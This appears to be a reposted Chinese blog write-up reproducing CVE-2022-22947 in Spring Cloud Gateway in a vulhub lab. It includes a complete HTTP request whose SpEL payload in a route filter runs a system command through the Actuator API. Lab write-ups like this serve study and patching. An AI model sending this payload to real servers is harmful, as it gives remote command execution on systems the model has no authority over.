首頁 > 軟體

Spring Cloud Gateway遠端命令執行漏洞分析(CVE-2022-22947)

2023-03-17 06:05:27

宣告:本文僅供學習參考,其中涉及的一切資源均來源於網路,請勿用於任何非法行為,否則您將自行承擔相應後果,本人不承擔任何法律及連帶責任。

漏洞描述

使用Spring Cloud Gateway的應用程式在Actuator端點啟用、公開和不安全的情況下容易受到程式碼注入的攻擊。攻擊者可以惡意建立允許在遠端主機上執行任意遠端執行的請求。

當攻擊者可以存取actuator API時,就可以利用該漏洞執行任意命令。

影響範圍

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

環境搭建

漏洞環境搭建,採用vulhub,搭建方法,自行搜尋。

搭建成功後,存取一下

漏洞復現

1.檢視actuator端點是開啟的

抓包,並修改介面為/actuator

2. 檢視/actuator/gateway/routes

返回的路由資訊,意思是當存取index時,路由到http://example.com:80

3.建立路由

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.10.171:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 431

{
    "id": "test",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

4.重新整理路由

5.存取建立的路由

6.刪除路由

7.再次重新整理路由

8.然後,存取該路由,發現路由已被刪除

到此這篇關於Spring Cloud Gateway遠端命令執行漏洞(CVE-2022-22947)的文章就介紹到這了,更多相關Spring Cloud Gateway遠端命令執行漏洞內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com